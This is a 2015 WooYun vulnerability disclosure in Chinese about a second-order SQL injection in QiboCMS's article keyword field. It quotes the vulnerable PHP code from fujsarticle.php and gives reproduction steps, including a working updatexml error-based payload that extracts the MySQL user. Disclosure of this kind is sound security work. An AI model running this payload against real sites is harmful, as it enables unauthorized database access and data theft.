当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
齐博CMS二次注入一枚
相关厂商:
漏洞作者:
提交时间:
2015-02-17 21:23
修复时间:
2015-04-02 10:23
公开时间:
2015-04-02 10:23
漏洞类型:
SQL注射漏洞
危害等级:
自评Rank:
20
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2015-02-17: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

广告:求react.js和ruby on rails爱好者,我要拜师!!

详细说明:

齐博系统较多,我只以开源的整站做例子说,但不代表其他系统不存在这个问题,我没测试。
齐博CMS默认用户注册后可以给“美女欣赏”这个栏目投稿,投稿时候可以填写文章的“关键字”(keyword):

01.png


这个内容保存在article这个表中的keywords字段中。
我们来到/do/fujsrticle.php,93行开始:

if(!$keyword)
{
$erp=get_id_table($id);
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article$erp WHERE aid='$id'"));
}
if($keyword){
$detail=explode(" ",$keyword);
unset($detail2,$ids);
foreach( $detail AS $key=>$value){
$value && $detail2[]=" B.keywords='$value' ";
}
$str=implode(" OR ",$detail2);


当$keyword不存在的时候,则从article表中取出keywords,并用空格分开后再拼接成SQL语句。
因为是从数据库里取出又存入的,所以,这里造成一个二次注入。虽然keywords写入的时候将单引号转义成html实体了,但我这里可以引入一个反斜线\,就够了。

漏洞证明:

注册以后在“美女欣赏”这个版块投稿,关键字那一行填写“aaa\ bbbbb”,审核的勾去掉。

屏幕快照 2015-02-13 下午9.31.54.png


提交后,来到/member/myarticle.php?job=myarticle看看id是多少(我的是668):

屏幕快照 2015-02-13 下午9.34.23.png


然后访问/do/fujsarticle.php?type=like&id=668

屏幕快照 2015-02-13 下午9.39.58.png


可见bbbb处为注入点。
将投稿时候的keyword改成“aaa\ and/**/updatexml(0,concat(0xa,user()),0)#”,即可注入出mysql用户名:

屏幕快照 2015-02-13 下午9.51.38.png

修复方案:

不知道。

版权声明:转载请注明来源 phith0n@乌云


>

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无